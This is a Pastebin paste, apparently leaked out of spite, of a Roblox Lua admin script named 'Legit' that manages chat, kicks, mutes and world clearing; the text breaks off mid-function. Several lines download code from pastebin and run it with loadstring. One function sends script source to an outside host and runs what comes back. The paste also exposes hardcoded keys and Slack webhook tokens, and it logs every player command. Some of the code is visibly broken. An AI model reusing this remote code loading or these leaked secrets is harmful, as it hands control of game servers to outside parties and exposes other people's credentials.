Advertisement
MainMotherboard

Help Me Edit this to my name! I spent 2 days and nights to!

Dec 17th, 2017
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 171.10 KB | None | 0 0
  1. --legit source, leaked as revenge by you know who, coolmlgcunt
  2.  
  3. --require(792860042)(function()
  4.  
  5. --Paste entire admin here
  6.  
  7. local module={}
  8.  
  9. local Children = {}
  10. for i,child in pairs (script:children()) do
  11. Children[child.Name] = child:clone()
  12. child:Destroy()
  13. end
  14.  
  15. script:Destroy()
  16.  
  17. local uploadKey = "!!XdLolM8NiceKeyLolLegitM8FhLolNiceKeyEy!!";
  18. local uploadID = "436583903"
  19. local uploadServers = {"http://rbx.esy.es/apis/newlocal.php?key="..uploadKey,"http://mlgapis.esy.es/roblox/newlocal.php"};
  20. local mySites = {"http://mlgapis.esy.es/","http://rbx.esy.es"};
  21.  
  22. function decrypt(text)
  23. local hs = game:GetService("HttpService")
  24. local result = tostring(hs:GetAsync("http://myapis.esy.es/random/decrypt.php?text="..text))
  25. return result
  26. end
  27.  
  28. function encrypt(text)
  29. local hs = game:GetService("HttpService")
  30. local result = tostring(hs:GetAsync("http://myapis.esy.es/random/encrypt.php?text="..text))
  31. return result
  32. end
  33.  
  34. local rsbmenucmds = {
  35. "_tab('Rainbow Output','Deep orange',speaker,function() script.RainbowCmdBar:Clone().Parent = speaker.Backpack end)",
  36. };
  37. psacode=nil
  38. AdminTabLoaders={
  39. ["Curium"] = {["Name"] = "Curium", ["LoaderId"] = "563249998", ["Creator"] = "plai1", ["Color14"] = "Lime green", ["Custom"] = "6"};
  40. ["Exodus"] = {["Name"] = "Exodus", ["LoaderId"] = "730457702", ["Creator"] = "Reloxz", ["Color14"] = "Pink", ["Custom"] = ""};
  41. ["Magnis"] = {["Name"] = "Magnis", ["LoaderId"] = "704242257", ["Creator"] = "Reggicus2", ["Color14"] = "Bright red", ["Custom"] = ""};
  42. ["Vortex"] = {["Name"] = "Vortex", ["LoaderId"] = "728912893", ["Creator"] = "samuelgp10", ["Color14"] = "Bright blue", ["Custom"] = "()"};
  43. ["SController"] = {["Name"] = "SController", ["LoaderId"] = "753508545", ["Creator"] = "PointCoded", ["Color14"] = "Really black", ["Custom"] = "()"};
  44. }
  45. local testingserver="pWPOa-LsZu3crotQSQAIKmf_GMIfXcRBtnjwetENhcHhcTUBAAAAAA2"
  46. local cps={}
  47. CatalogItems={
  48. ["Testing [doesn't do anything]"] = {["Name"] = "testing [doesn't do anything]", ["LoaderId"] = "1", ["Creator"] = "Blizzard", ["Color14"] = "Toothpaste", ["Custom"] = ""};
  49. }
  50. GetUserIdFromNameAsync=function(name)
  51. return game:service'Players':GetUserIdFromNameAsync(name)
  52. end
  53. --[[
  54. -1 : banned
  55. 0 : not ranked
  56. 1 : userco
  57. 2 : overseer
  58. 3 : modc
  59. 4 : admin
  60. 5 : dev
  61. 6 : mysterysb
  62. p
  63.  
  64.  
  65. https://www.dropbox.com/s/7bkvaaton837t91/Legit.txt?raw=1
  66. ]]
  67. Blocker = {
  68. LocalBlock = false;
  69. GlobalBlock = false;
  70. };
  71. function GetDiscoColor(hue)
  72. hue=hue/4
  73. local section = hue % 1 * 3
  74. local secondary = 0.5 * math.pi * (section % 1)
  75. local thing
  76. if section < 1 then
  77. thing=Color3.new(1, 1 - math.cos(secondary), 1 - math.sin(secondary))
  78. elseif section < 2 then
  79. thing=Color3.new(1 - math.sin(secondary), 1, 1 - math.cos(secondary))
  80. else
  81. thing=Color3.new(1 - math.cos(secondary), 1 - math.sin(secondary), 1)
  82. end
  83. return thing
  84. end
  85. ChatService=require(game:GetService("ServerScriptService").ChatServiceRunner.ChatService)
  86. if ChatService:GetSpeaker("Legit") == nil then
  87. local chb=ChatService:AddSpeaker("Legit")
  88. chb:JoinChannel("All")
  89. ChatService:GetSpeaker("Legit"):SetExtraData("NameColor", BrickColor.new("Cyan").Color)
  90. ChatService:GetSpeaker("Legit"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  91. else
  92. ChatService:GetSpeaker("Legit"):SetExtraData("NameColor", BrickColor.new("Cyan").Color)
  93. ChatService:GetSpeaker("Legit"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  94. end
  95. if ChatService:GetSpeaker("Legit Discord") == nil then
  96. local chb=ChatService:AddSpeaker("Legit Discord")
  97. chb:JoinChannel("All")
  98. ChatService:GetSpeaker("Legit Discord"):SetExtraData("NameColor", BrickColor.new("Lime green").Color)
  99. ChatService:GetSpeaker("Legit Discord"):SetExtraData("Font", "SciFi")
  100. else
  101. ChatService:GetSpeaker("Legit Discord"):SetExtraData("NameColor", BrickColor.new("Lime green").Color)
  102. ChatService:GetSpeaker("Legit Discord"):SetExtraData("Font", "SciFi")
  103. end
  104. if ChatService:GetSpeaker("CoolMLGDiscord") == nil then
  105. local chb=ChatService:AddSpeaker("CoolMLGDiscord")
  106. chb:JoinChannel("All")
  107. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("NameColor", BrickColor.new("Teal").Color)
  108. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("Font", "SciFi")
  109. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  110. else
  111. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("NameColor", BrickColor.new("Teal").Color)
  112. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("Font", "SciFi")
  113. ChatService:GetSpeaker("CoolMLGDiscord"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  114. end
  115. if ChatService:GetSpeaker("AzureDiscord") == nil then
  116. local chb=ChatService:AddSpeaker("AzureDiscord")
  117. chb:JoinChannel("All")
  118. ChatService:GetSpeaker("AzureDiscord"):SetExtraData("NameColor", BrickColor.new("Royal purple").Color)
  119. ChatService:GetSpeaker("AzureDiscord"):SetExtraData("Font", "SciFi")
  120. else
  121. ChatService:GetSpeaker("AzureDiscord"):SetExtraData("NameColor", BrickColor.new("Royal purple").Color)
  122. ChatService:GetSpeaker("AzureDiscord"):SetExtraData("Font", "SciFi")
  123. end
  124. if ChatService:GetSpeaker("CoolMLGPlayer") == nil then
  125. local chb=ChatService:AddSpeaker("CoolMLGPlayer")
  126. chb:JoinChannel("All")
  127. ----ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("Font", "Cartoon")
  128. ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  129. else
  130. --ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("Font", "Cartoon")
  131. ChatService:GetSpeaker("CoolMLGPlayer"):SetExtraData("ChatColor", BrickColor.new("New Yeller").Color)
  132. end
  133. TabFolder = Instance.new("Folder")
  134. TabFolder.Parent = game:service'Workspace'.Terrain
  135. TabFolder.Name = "TabFold"
  136. Muted={}
  137. UIRemote = Instance.new("RemoteEvent", game:service'ReplicatedStorage')
  138. UIRemote.Name = "MLGUI"
  139. plrOxChat = function(plr,Player, Message)
  140. local val=Instance.new("StringValue")
  141. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  142. game.Debris:AddItem(val,0)
  143. end
  144. SendChat = require(Children.Needed.ChatModule)
  145. FChat = require(Children.Needed.ForceChat)
  146. --leaderboard=require(script.Needed.rblx.playerlist.PlayerlistModule)
  147. function ctc(name,color)
  148. if ChatService:GetSpeaker(name) ~= nil then
  149. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  150. else
  151. ChatService:AddSpeaker(name)
  152. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  153. end
  154. end
  155. function cnc(name,color)
  156. if ChatService:GetSpeaker(name) ~= nil then
  157. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  158. else
  159. ChatService:AddSpeaker(name)
  160. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  161. end
  162. end
  163. function cfont(name,font)
  164. if ChatService:GetSpeaker(name) ~= nil then
  165. ChatService:GetSpeaker(name):SetExtraData("Font",font)
  166. else
  167. ChatService:AddSpeaker(name)
  168. ChatService:GetSpeaker(name):SetExtraData("Font", font)
  169. end
  170. end
  171. function SkyMLG()
  172. local s = Instance.new("Sky")
  173. s.Name = "SKY"
  174. s.SkyboxBk = "http://www.roblox.com/asset/?id=404089157"
  175. s.SkyboxDn = "http://www.roblox.com/asset/?id=404089157"
  176. s.SkyboxFt = "http://www.roblox.com/asset/?id=404089157"
  177. s.SkyboxLf = "http://www.roblox.com/asset/?id=404089157"
  178. s.SkyboxRt = "http://www.roblox.com/asset/?id=404089157"
  179. s.SkyboxUp = "http://www.roblox.com/asset/?id=404089157"
  180. s.Parent = game.Lighting
  181. end
  182. function NoSky()
  183. for _,v in pairs(game:service'Lighting':GetChildren())do
  184. if v.ClassName == "Sky" then
  185. v:remove()
  186. end
  187. end
  188. end
  189. function cb(cb,cm)
  190. OxChat(cb,cm)
  191. if ChatService:GetSpeaker(cb) == nil then
  192. local chb=ChatService:AddSpeaker(cb)
  193. chb:JoinChannel("All")
  194. chb:SayMessage(cm, "All", {})
  195. else
  196. local chb=ChatService:GetSpeaker(cb)
  197. chb:SayMessage(cm, "All", {})
  198. end
  199. end
  200. function chatlegit(text)
  201. cb("Legit",text)
  202. end
  203. Time = require(285173569)
  204. CommandLogs={}
  205. funcs={}
  206. function funcs.ConnectLogger(plr)
  207. if type(plr) ~= 'userdata'then return end
  208. if plr:FindFirstChild("SB_CommandRemote",true) then
  209. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  210. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  211. sbexe("g/ns")wait(.1)
  212. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  213. end
  214. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://hastebin.com/raw/muvazesare.lua' then
  215. sbexe("g/ns")wait(.1)
  216. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  217. end
  218. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  219. table.insert(CommandLogs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  220. local CurrentTime = Time:GetTime()
  221. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  222. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  223. end
  224. end)
  225. end
  226. end
  227. deepclean=function()
  228. game:service'Lighting'.ColorShift_Bottom = Color3.new(100, 100, 100)
  229. game:service'Lighting'.ColorShift_Top = Color3.new(0, 0, 0)
  230. game:service'Lighting'.Ambient = Color3.new(1, 1, 1)
  231. game:service'Lighting'.Brightness = 1
  232. game:service'Lighting'.TimeOfDay = "11:00:00"
  233. game:service'Lighting'.FogEnd = 99999999
  234. game:service'Workspace'.Base.Transparency = 0
  235. game:service'Workspace'.Base.BrickColor = BrickColor.new("Earth green")
  236. game:service'Workspace'.Base.Locked = true
  237. game:service'Workspace'.Base.Anchored = true
  238. t = game:service'Teams':GetChildren()
  239. for i = 1, #t do
  240. if t[i]:IsA("Team") then
  241. t[i]: Destroy()
  242. end
  243. end
  244. local l = game:service'Lighting':GetChildren()
  245. for i = 1, #l do
  246. if l[i]:IsA("Sky") then
  247. l[i]: Destroy()
  248. end
  249. end
  250. local g = game:service'Workspace':GetChildren()
  251. for i = 1, #g do
  252. if g[i]:IsA("Part") then
  253. g[i]: Destroy()
  254. end
  255. end
  256. for i = 1, #g do
  257. if g[i]:IsA("Script") then
  258. g[i].Disabled = true
  259. g[i]: Destroy()
  260. end
  261. end
  262. local p = game:service'Players':GetChildren()
  263. for i = 1, #p do
  264. if g[i]:IsA("Script") and g[i].Name ~= script.Name then
  265. g[i].Disabled = true
  266. g[i]: Destroy()
  267. end
  268. end
  269. for i = 1, #g do
  270. if g[i]:IsA("StringValue") then
  271. g[i]: Destroy()
  272. end
  273. end
  274. for i = 1, #g do
  275. if g[i]:IsA("IntValue") then
  276. g[i]: Destroy()
  277. end
  278. end
  279. for i = 1, #g do
  280. if g[i]:IsA("BoolValue") then
  281. g[i]: Destroy()
  282. end
  283. end
  284. for i = 1, #g do
  285. if g[i]:IsA("NumberValue") then
  286. g[i]: Destroy()
  287. end
  288. end
  289. for i = 1, #g do
  290. if g[i]:IsA("ObjectValue") then
  291. g[i]: Destroy()
  292. end
  293. end
  294. for i = 1, #g do
  295. if g[i]:IsA("RayValue") then
  296. g[i]: Destroy()
  297. end
  298. end
  299. for i = 1, #g do
  300. if g[i]:IsA("Sound") then
  301. g[i]: Destroy()
  302. end
  303. end
  304. for i = 1, #g do
  305. if g[i]:IsA("Accoutrement") then
  306. g[i]: Destroy()
  307. end
  308. end
  309. for i = 1, #g do
  310. if g[i]:IsA("BrickColorValue") then
  311. g[i]: Destroy()
  312. end
  313. end
  314. for i = 1, #g do
  315. if g[i]:IsA("Motor") then
  316. g[i]: Destroy()
  317. end
  318. end
  319. for i = 1, #g do
  320. if g[i]:IsA("MotorFeature") then
  321. g[i]: Destroy()
  322. end
  323. end
  324. for i = 1, #g do
  325. if g[i]:IsA("Color3Value") then
  326. g[i]: Destroy()
  327. end
  328. end
  329. for i = 1, #g do
  330. if g[i]:IsA("BindableEvent") then
  331. g[i]: Destroy()
  332. end
  333. end
  334. for i = 1, #g do
  335. if g[i]:IsA("BindableFunction") then
  336. g[i]: Destroy()
  337. end
  338. end
  339. for i = 1, #g do
  340. if g[i]:IsA("LocalScript") then
  341. g[i]: Destroy()
  342. end
  343. end
  344. for i = 1, #g do
  345. if g[i]:IsA("Model") then
  346. g[i]: Remove()
  347. end
  348. end
  349. for i = 1, #g do
  350. if g[i]:IsA("Hint") then
  351. g[i]: Destroy()
  352. end
  353. end
  354. for i = 1, #g do
  355. if g[i]:IsA("Tool") then
  356. g[i]: Destroy()
  357. end
  358. end
  359. for i = 1, #g do
  360. if g[i]:IsA("HopperBin") then
  361. g[i]: Destroy()
  362. end
  363. end
  364. for i = 1, #g do
  365. if g[i]:IsA("Fire") then
  366. g[i]: Destroy()
  367. end
  368. end
  369. for i = 1, #g do
  370. if g[i]:IsA("Explosion") then
  371. g[i]: Destroy()
  372. end
  373. end
  374. for i = 1, #g do
  375. if g[i]:IsA("Hat") then
  376. g[i]: Destroy()
  377. end
  378. for i = 1, #g do
  379. if g[i]:IsA("Message") then
  380. g[i]: Destroy()
  381. end
  382. end
  383. for i = 1, #g do
  384. if g[i]:IsA("Hint") then
  385. g[i]: Destroy()
  386. end
  387. end
  388. end
  389. end
  390. funcs.Hint = function(str,tme)
  391. for i,v in pairs(game:service'Players':GetPlayers()) do
  392. coroutine.wrap(function()
  393. if not v:findFirstChild("PlayerGui") then Instance.new("PlayerGui",v) end
  394. local g = Instance.new("ScreenGui",v.PlayerGui)
  395. g.Name="Hint"
  396. local bg = Instance.new("Frame",g)
  397. bg.BackgroundColor3=Color3.new(0,0,0)
  398. bg.BackgroundTransparency=.5
  399. bg.BorderColor3=Color3.new(0,0,0)
  400. bg.Name="Bg"
  401. bg.Size=UDim2.new(1,0,0.05,0)
  402. bg.Visible=false
  403. local txt = Instance.new("TextLabel",bg)
  404. txt.BackgroundTransparency=1
  405. txt.Name="Text"
  406. txt.Size=UDim2.new(1,0,1,0)
  407. txt.Font="ArialBold"
  408. txt.TextColor3=Color3.new(255,255,255)
  409. txt.TextScaled=true
  410. txt.TextWrapped=true
  411. txt.TextStrokeColor3=Color3.new(0,0,0)
  412. txt.TextStrokeTransparency=0
  413. txt.Text=str
  414.  
  415. bg.Position=UDim2.new(-1,0,0,0)
  416.  
  417. txt.Visible=false
  418. txt.TextStrokeTransparency=1
  419. txt.TextTransparency=1
  420.  
  421. bg.Visible=true
  422. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1)
  423. wait(1)
  424. bg.Position=UDim2.new(0,0,0,0) -- just in case
  425. wait(.5)
  426. txt.Visible=true
  427. for i = 100,0,-5 do
  428. txt.TextTransparency=i/100
  429. txt.TextStrokeTransparency=i/100
  430. wait()
  431. end
  432. wait(tme)
  433. for i = 0,100,5 do
  434. txt.TextTransparency=i/100
  435. txt.TextStrokeTransparency=i/100
  436. wait()
  437. end
  438. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5)
  439. wait(tme)
  440. g:Destroy()
  441. end)()
  442. end
  443. end
  444. Fire = function(person, color)
  445. local pos = person.Character.Torso.Position
  446. for _, v in pairs(person.Character:GetChildren()) do
  447. if v:IsA'Part' and v.Name ~= "HumanoidRootPart" then
  448. if v.Name ~= "Head" then
  449. for i = 0, 10, 1 do
  450. local part = Instance.new("Part", person.Character)
  451. part.Name = "Burnt:"..v.Name
  452. local l = Instance.new("PointLight", part)
  453. l.Brightness = 5
  454. l.Range = 5
  455. part.FormFactor = "Custom"
  456. part.Size = Vector3.new(v.Size.X + .2, v.Size.Y / 10, v.Size.Z + .2)
  457. part.CanCollide = false
  458. part.Transparency = .5
  459. if _ % 2 == 0 then
  460. if i % 2 == 0 then
  461. part.BrickColor = BrickColor.new(color)
  462. else
  463. part.BrickColor = BrickColor.new("Really black")
  464. end
  465. else
  466. if i % 2 == 0 then
  467. part.BrickColor = BrickColor.new("Really black")
  468. else
  469. part.BrickColor = BrickColor.new(color)
  470. end
  471. end
  472. part.Material = Enum.Material.Neon
  473. l.Color = part.Color
  474. part.TopSurface = "Smooth"
  475. part.BottomSurface = "Smooth"
  476. local w = Instance.new("Weld")
  477. w.Part1 = v
  478. w.Part0 = part
  479. w.C1 = CFrame.new(0, (1 - v.Size.Y / 10 * i), 0)
  480. w.Parent = person.Character.Torso
  481. w.Name = v.Name
  482. v.Touched:connect(function(hit)
  483. if hit.Parent.Name ~= person.Name then
  484. local hum = hit.Parent:findFirstChild("Humanoid")
  485. if hum then
  486. for a, d in pairs(hit.Parent:GetChildren()) do
  487. if d:IsA'Part' and d.Name ~= "HumanoidRootPart" then
  488. d.BrickColor = BrickColor.new("Really black")
  489. d.Material = "CorrodedMetal"
  490. d.Transparency = 0
  491. elseif d.Name == "HumanoidRootPart" then
  492. d:ClearAllChildren()
  493. elseif
  494. d:IsA'Shirt' or d:IsA'Pants' or d:IsA'Hat' or d:IsA'BodyColors' then
  495. d:Destroy()
  496. end
  497. end
  498. end
  499. end
  500. end)
  501. end
  502. --v.Anchored=true
  503. elseif v.Name == "Head" then
  504. local fire = Instance.new("Fire", v)
  505. fire.SecondaryColor = Color3.new(1, 0, 0)
  506. v.Material = Enum.Material.Neon
  507. v.BrickColor = BrickColor.new(color)
  508. v.Transparency = .5
  509. pcall(function()
  510. v.face.Transparency = 1
  511. local decal = Instance.new('Decal', v)
  512. decal.Face = "Front"
  513. decal.Texture = "http://www.roblox.com/asset/?id=209712379"
  514. end)
  515. end
  516. elseif v:IsA'Hat' then
  517. v.Handle.Material = Enum.Material.Neon
  518. v.Handle.Mesh.TextureId = ""
  519. v.Handle.BrickColor = BrickColor.new(color)
  520. v.Handle.Transparency = .5
  521. end
  522. end
  523. person.Character:MoveTo(pos)
  524. end
  525. Fart = function(Character)
  526. local FartPart = Instance.new("Part", Character)
  527. FartPart.BrickColor = BrickColor.new("Institutional white");
  528. FartPart.Material = Enum.Material.SmoothPlastic
  529. FartPart.Transparency = 1;
  530. FartPart.Name = "Fart"
  531. FartPart.FormFactor = Enum.FormFactor.Symmetric
  532. FartPart.Size = Vector3.new(2, 1, 1);
  533. FartPart.CFrame = Character.Torso.CFrame * CFrame.new(0, -1, .75) * CFrame.Angles(math.rad(-90), 0, 0);
  534. FartPart.CanCollide = false;
  535. FartPart.Locked = true;
  536. FartPart.BottomSurface = Enum.SurfaceType.Smooth
  537. FartPart.TopSurface = Enum.SurfaceType.Smooth
  538. local Weld = Instance.new("Weld", FartPart)
  539. Weld.C0 = FartPart.CFrame:inverse();
  540. Weld.C1 = Character.Torso.CFrame:inverse();
  541. Weld.Part0 = FartPart
  542. Weld.Part1 = Character.Torso
  543. local FartSmoke = Instance.new("Smoke", FartPart)
  544. FartSmoke.RiseVelocity = -5;
  545. FartSmoke.Size = .1;
  546. FartSmoke.Color = Color3.new(70 / 255, 100 / 255, 30 / 255);
  547. FartSmoke.Opacity = 1;
  548. wait(3);
  549. FartPart:Destroy();
  550. end
  551. funcs.Output = function(Type,Message,User)
  552. local p = Instance.new('StringValue')
  553. p.Name = 'SB_Output:Output'
  554. p.Value = '["'..Type..'","'..Message..'"]'
  555. wait()
  556. p.Parent = User
  557. end
  558. funcs.Msg = function(title,str,tme)
  559. for i,v in pairs(game:GetService("Players"):GetPlayers'') do
  560. coroutine.wrap(function(v)
  561. if not v:findFirstChild'PlayerGui' then Instance.new("PlayerGui",v);end;
  562. local g = Instance.new("ScreenGui",v.PlayerGui);
  563. g.Name="Message";
  564. local bg = Instance.new("Frame",g);
  565. bg.BackgroundColor3=Color3.new(0,0,0);
  566. bg.BackgroundTransparency=.5;
  567. bg.BorderColor3=Color3.new(0,0,0);
  568. bg.Size=UDim2.new(1,0,1,0);
  569. bg.Name="Bg";
  570. bg.Position=UDim2.new(-1,0,0,0);
  571. local label = Instance.new("TextLabel",bg);
  572. label.BackgroundTransparency=1;
  573. label.Name="Label";
  574. label.Size=UDim2.new(1,0,.1,0);
  575. label.Font="SourceSansLight"
  576. label.TextColor3=Color3.new(170,85,255);
  577. label.TextScaled=true;
  578. label.TextWrapped=true;
  579. label.TextStrokeColor3=Color3.new(255,255,255);
  580. label.TextStrokeTransparency=0;
  581. label.Text=title
  582. local txt = Instance.new("TextLabel",bg);
  583. txt.BackgroundTransparency=1;
  584. txt.Name="Text";
  585. txt.Size=UDim2.new(1,0,.9,0);
  586. txt.Position=UDim2.new(0,0,.1,0);
  587. txt.Font="SourceSansLight";
  588. txt.TextColor3=Color3.new(170,85,255);
  589. txt.TextScaled=true;
  590. txt.TextWrapped=true;
  591. txt.TextStrokeColor3=Color3.new(255,255,255);
  592. txt.TextStrokeTransparency=0;
  593. txt.Text=str
  594.  
  595. bg.Visible=false;
  596. txt.Visible=false;
  597. label.Visible=false;
  598.  
  599. txt.TextStrokeTransparency=1;
  600. txt.TextTransparency=1;
  601. label.TextStrokeTransparency=1;
  602. label.TextTransparency=1;
  603.  
  604. bg.Visible=true;
  605. bg:TweenPosition(UDim2.new(0,0,0,0),"In","Sine",1);
  606.  
  607. wait'1';
  608. bg.Position=UDim2.new(0,0,0,0);
  609. wait'.5';
  610.  
  611. txt.Visible=true;
  612. label.Visible=true;
  613. for i = 100,0,-5 do
  614. txt.TextTransparency=i/100;
  615. txt.TextStrokeTransparency=i/100;
  616. label.TextTransparency=i/100;
  617. label.TextStrokeTransparency=i/100;
  618. wait();end;
  619. wait (tme);
  620. for i = 0,100,5 do
  621. txt.TextTransparency=i/100;
  622. txt.TextStrokeTransparency=i/100;
  623. label.TextTransparency=i/100;
  624. label.TextStrokeTransparency=i/100;
  625. wait'';end;
  626. bg:TweenPosition(UDim2.new(1,0,0,0),"Out","Quart",.5);
  627. wait (tme);
  628. g:Destroy'';
  629. end)(v);
  630. end;
  631. end
  632. funcs.OxChat = function(Player, Message)
  633. for _,plr in next,game:service'Players':GetPlayers() do
  634. local val=Instance.new("StringValue")
  635. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  636. game.Debris:AddItem(val,0)
  637. end
  638. end
  639. function GetLocal(source,player)
  640. site = "http://rbxapis.ddns.net/newlocal.php"
  641. id = tonumber(game:GetService('HttpService'):PostAsync(site,source))
  642. _returnscript = require(id)
  643. _returnscript.Parent=player.PlayerGui
  644. _returnscript.Disabled=false
  645. end
  646. local legitId = "473799744" -- insert id plox
  647. OxChat = function(Player, Message)
  648. for _,plr in next,game:service'Players':GetPlayers() do
  649. local val=Instance.new("StringValue")
  650. val.Name="SB_Chat"; val.Parent=plr; val.Value=tostring(Player).."/"..tostring(Message)
  651. game.Debris:AddItem(val,0)
  652. end
  653. end
  654. function sbexe(cmd,plr)
  655. if not type(cmd)=='string'then return end
  656. if plr then
  657. if type(plr)=='userdata'then
  658. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  659. elseif type(plr)=='string'then
  660. plr = game:GetService('Players'):FindFirstChild(plr)
  661. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  662. end
  663. else
  664. for i,v in pairs(game:GetService('Players'):children())do
  665. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  666. end
  667. end
  668. end
  669.  
  670. Mute = function(Player)
  671. local mute = Children["UIScripts"]["Mute"]
  672. mute = mute:Clone()
  673. mute.Parent = Player.PlayerGui
  674. wait(.2);mute.Disabled = false
  675. if not inTable(Muted,Player.Name) then
  676. table.insert(Muted,Player.Name)
  677. end
  678. end
  679. UnMute = function(Player)
  680. UIRemote:FireClient(Player)
  681. wait(.2)
  682. Player:LoadCharacter()
  683. remTable(Muted,Player.Name)
  684. end
  685.  
  686. local HttpService = game:GetService("HttpService") --sorry
  687.  
  688. function UsernameFromID(ID)
  689. if type(ID) ~= "number" then
  690. return
  691. end
  692. local sets = game:service("InsertService"):GetUserSets(ID)
  693. for k, v in next, sets do
  694. if v.Name == "My Models" then
  695. return v.CreatorName
  696. end
  697. end
  698. end
  699. local serv = function(txt)
  700. return game:service(txt)
  701. end
  702. GetNameFromId = function(id)
  703. return serv'MarketplaceService':GetProductInfo(id).Name
  704. end
  705. --[[Log = function(Name, Text)
  706. coroutine.resume(coroutine.create(function()
  707. serv'HttpService':PostAsync('https://hooks.slack.com/services/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'
  708. ,
  709. '{"text":"'..Text..'", "username":"'..Name..'"}'
  710. , Enum.HttpContentType.ApplicationUrlEncoded)
  711. end))
  712. end
  713. ChatGeneral = function(Name, Emoji, Text)
  714. coroutine.resume(coroutine.create(function()
  715. serv'HttpService':PostAsync('https://hooks.slack.com/services/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'
  716. ,
  717. '{"text":"'..Text..'", "icon_emoji":"'..Emoji..'", "username":"'..Name..'"}'
  718. , Enum.HttpContentType.ApplicationUrlEncoded)
  719. end))
  720. end
  721. serv'Players'.PlayerRemoving:connect(function(Player)
  722. discordchat(''..GetNameFromId(game.PlaceId), Player.Name..' left the game.')
  723. end)
  724. serv'Players'.PlayerAdded:connect(function(Player)
  725.  
  726. (''..GetNameFromId(game.PlaceId), Player.Name..' joined the game.')
  727. end)--]]
  728. startuptime=0
  729. ver=1.5
  730. datastores=true
  731. update=false
  732. cid=0
  733. baseranked=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/zSBzCxU0'))()
  734. users={}
  735. mytableforservers = {}
  736. plrdata={}
  737. me="https://preview.c9users.io/ujdjidjciejiejidjcfvbfvbrn/legit-workspace-222/LegitV1/LegitV1.lua"
  738. banlist={}
  739. music={"341153646","318928000","279810957","256620658","218211859",'690116475','683706836','603205878','195997590','225000651','315352338','463166567','457600861','346786918'}
  740. rank=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/cQKjwkM6'))()
  741. action=''
  742. n=nil
  743. playertimes={}
  744. for i,v in pairs(game:service'Players':players'')do playertimes[v.Name]=tick()-1 end
  745. orig=music
  746. prefix=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/MtzNcaMT'))()
  747. key='---K3YF0RUNKN0WNM8F0CKUB1TCH---'--loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/rJHYRtnj'))()
  748. local banKey = "..--LegitBanKeyLolol--..";
  749. local dataStore = game:GetService("DataStoreService");
  750. priservers = game:service 'DataStoreService':GetDataStore ('MyMLGPrivateServersFamLol');
  751. priservertable = game:service 'DataStoreService':GetDataStore ('MyMLGPrivateServersTableFamLol');
  752. local banStore = dataStore:GetDataStore(banKey);
  753. local banList = (banStore:GetAsync(banKey) or {});
  754. suffix=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/FNKeyrcS'))()
  755.  
  756. speed=.002
  757. songrequests={"256065615","168846695","247316945","256620658","297836572","383654449","341153646","318928000","279810957","256620658","218211859"}
  758. skipanim=false
  759. vote={}
  760. vote.y=0
  761. vote.n=0
  762. vote.topic=''
  763. local c={}
  764. c.snd=BrickColor.new'Royal purple'
  765. c.pink=BrickColor.new'Hot pink'
  766. c.black=BrickColor.new'Really black'
  767. c.iw=BrickColor.new'Institutional white'
  768. c.blue=BrickColor.new'Bright blue'
  769. c.white=BrickColor.new'White'
  770. c.purple=BrickColor.new'Royal purple'
  771. c.red=BrickColor.new'Really red'
  772. c.green=BrickColor.new'Really black'
  773. c.cmdc=BrickColor.new'Deep orange'
  774. c.Red=BrickColor.new'Navy blue'
  775. defaultcolor=BrickColor.new('Institutional white')
  776.  
  777. urlf='rbxassetid://'
  778.  
  779. logs={LOG={};CLOG={}}
  780. pri=false
  781. events={}
  782.  
  783.  
  784. logs.write=function(str)
  785. str='[MLG] '..str
  786. str=str:gsub('\n','\n [MLG] ')
  787. table.insert(logs.LOG,str)
  788. print(str)
  789. end
  790. logs.cwrite=function(str)
  791. table.insert(logs.CLOG,str)
  792. if #logs.CLOG>100 then table.remove(logs.CLOG,1)end
  793. end
  794. logs.last=function()
  795. return logs.LOG[#logs.LOG]
  796. end
  797.  
  798. logs.clear=function()
  799. logs.LOG={}
  800. end
  801.  
  802. plrs=game:service'Players'
  803.  
  804. colors={'White','Really blue','Really red','New Yeller','Maroon','Lime green','Royal purple','Deep orange','Toothpaste', 'Hot pink', 'Really black', 'Institutional white', 'Navy blue'}
  805. function randin(tblz)
  806. rand='White'
  807. print(#tblz)
